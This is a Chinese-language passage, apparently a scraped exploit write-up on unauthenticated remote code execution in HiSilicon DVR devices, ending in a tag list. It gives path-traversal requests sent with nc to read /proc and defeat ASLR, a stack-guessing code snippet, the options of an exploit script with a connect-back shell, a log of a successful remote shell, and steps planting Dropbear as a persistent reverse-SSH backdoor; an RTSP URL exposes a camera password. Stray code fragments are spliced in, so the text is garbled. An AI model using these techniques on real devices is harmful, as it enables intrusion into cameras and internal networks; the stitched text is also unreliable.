Index of /mnt/web/../../etc
---- 注意,这个漏洞非常严重,因为攻击者可以读取任何文件,包括录制的视频(如果设备有一些硬盘存储)。 此外,该漏洞可以帮助我们击败 ASLR。 `/proc` 文件系统在 `/proc/[pid]` 目录中包含大量有关正在运行的进程的信息。可以使用 `GET ../../proc` 列出 `/proc`,这样我们就可以获取所有的 PID。如果 `/proc/[pid]/cmdline` 是 `/var/Sofia`,则找到了应用程序的 PID。 击败 ASLR 最重要的信息在 `/proc/[pid]/smaps` 中。此文件包含内存页统计信息,包含页地址和其他有趣的信息(例如 rss)。例如: $ echo -ne 'GET ../../proc/610/cmdline HTTP' | nc 192.168.88.127 80 nc: using stream socket HTTP/1.0 200 OK Content-type: text/plain Server: uc-httpd 1.0.0 Expires: 0 /var/Sofia $ echo -ne 'GET ../../proc/610/smaps HTTP' | nc 192.168.88.127 80 nc: using stream socket HTTP/1.0 200 OK Content-type: text/plain Server: uc-httpd 1.0.0 Expires: 0 ... 4b699000-4be98000 rwxp 00000000 00:00 0 Size: 8188 kB Rss: 4 kB Pss: 4 kB Shared_Clean: 0 kB Shared_Dirty: 0 kB Private_Clean: 0 kB Private_Dirty: 4 kB Referenced: 4 kB Anonymous: 4 kB AnonHugePages: 0 kB Swap: 0 kB KernelPageSize: 4 kB MMUPageSize: 4 kB Locked: 0 kB ## x1, x2 = set(), set() 这只是一页,列表中包含大约 ~150 页。 查看上述结构(注意页大小、模式等),我们可以猜测(通过实验和启发式方法)哪一个包含所需线程的堆栈。堆栈距离基址的偏移量是恒定的(为 0x7fd3d8)。 猜测内存页的代码片段: ## $ cvlc 'rtsp://192.168.88.127:554/user=admin&password=I0TO5Wv9&channel=1&stream=0.sdp' ## username:admin for t in range(len(smaps)-7, 1, -1): if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8: return (t+3) return (-1) 其中 `smaps[t][1][0]` 是第 `t` 个完整页面的大小,`smaps[t][1][1]` 是相关的 RSS。 该代码片段是针对各种启用 ASLR 的 HiSilicon 目标自动工作的完整漏洞利用脚本的一部分。关于该脚本的简要介绍: $ ./pwn_hisilicon_dvr.py -h usage: pwn_hisilicon_dvr.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT] [--bhost BHOST] [--bport BPORT] [-n] [-i] [-p] [-u] [--offset OFFSET] [--cmdline CMDLINE] exploit HiSilicon DVR devices ## [source,python] -h, --help show this help message and exit --rhost RHOST target host --rport RPORT port --lhost LHOST connectback ip --lport LPORT connectback port --bhost BHOST listen ip to bind (default: connectback) --bport BPORT listen port to bind (default: connectback) -n, --nolisten do not start listener (you should care about connectback listener on your own) -i, --interactive select stack memory region interactively (rather than using autodetection) -p, --persistent make connectback shell persistent by restarting dvr app automatically (DANGEROUS!) -u, --upload upload tools (now hardcoded "./tools/dropbear" in script) after pwn --offset OFFSET exploit param stack offset to mem page base (default: 0x7fd3d8) --cmdline CMDLINE cmdline of Sofia binary on remote target (default "/var/Sofia") === post-exploitation(后渗透) 我们可以用这个 RCE 做什么?一切。记住,这是一个仅使用 Web 服务端口 80/tcp 的未授权 RCE。此端口通常被转发到外部,因此如果攻击者利用了此 RCE,他/她将获得对内部 LAN 的访问权限。 我们的漏洞利用脚本具有一些不错的功能,例如它可以将(预先编译的)工具上传到受害者设备。 如果我们想制作一个持久、稳定的后门,我们可以上传一个 Dropbear,让它监听本地,并开放一个反向 SSH 隧道到外部。有了这种架构,就可以随时随地登录到 DVR 设备了。 ## def sofia_hash(msg): [*] target is 192.168.88.127:80 [*] connectback on 192.168.88.100:31337 [+] assembling shellcode: done. length is 104 bytes [+] identifying model number: MBD6804T-EL [*] exploiting dir path traversal of web service to get leak addresses [+] getting pidlist: found 35 processes [+] searching for PID of '/var/Sofia': 610 [+] getting stack section base: 0x5a47a000 [*] shellcode address is 0x5ac773ec [*] exploiting buffer overflow in web service url path [*] remote shell should gained by connectback shellcode! [+] Trying to bind to 192.168.88.100 on port 31337: Done [+] Waiting for connections on 192.168.88.100:31337: Got connection from 192.168.88.127 on port 44330 [+] Opening connection to 192.168.88.127 on port 80: Done [+] Receiving all data: Done (204B) [*] Closed connection to 192.168.88.127 port 80 [+] restarting dvr application: Done [+] uploading tools to /var/.tools: dropbear [*] Switching to interactive mode $ cd /var/.tools $ ln -s dropbear ssh $ ln -s dropbear dropbearkey $ ./dropbearkey -t ecdsa -f dropbear_ecdsa.key -s 256 Generating key, this may take a while... Public key portion is: ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDMcXlCTZfC3ZskLdbjfUSkDvcZCrKd/t8a3ftsfL2EkHlQ/faElTfzACkM8ETw1Z1CH0iLXMznxqzZ4PvvJOk0= root@LocalHost Fingerprint: md5 55:5e:4c:df:9c:89:4c:cd:2c:47:85:52:ff:5b:b7:48 $ ./dropbear -r ./dropbear_ecdsa.key -p 127.0.0.1:22 $ ln -s dropbear dropbearconvert $ cat <标签:0-day, CISA项目, DVR, Go语言工具, hi3520d, HiSilicon, NVR, PoC, RCE, SECULINK, SoC, Web漏洞, 固件分析, 安全漏洞, 摄像头破解, 暴力破解, 未授权访问, 物联网安全, 硬件黑客, 编程工具, 网络安全, 视频监控, 远程代码执行, 逆向工具, 隐私保护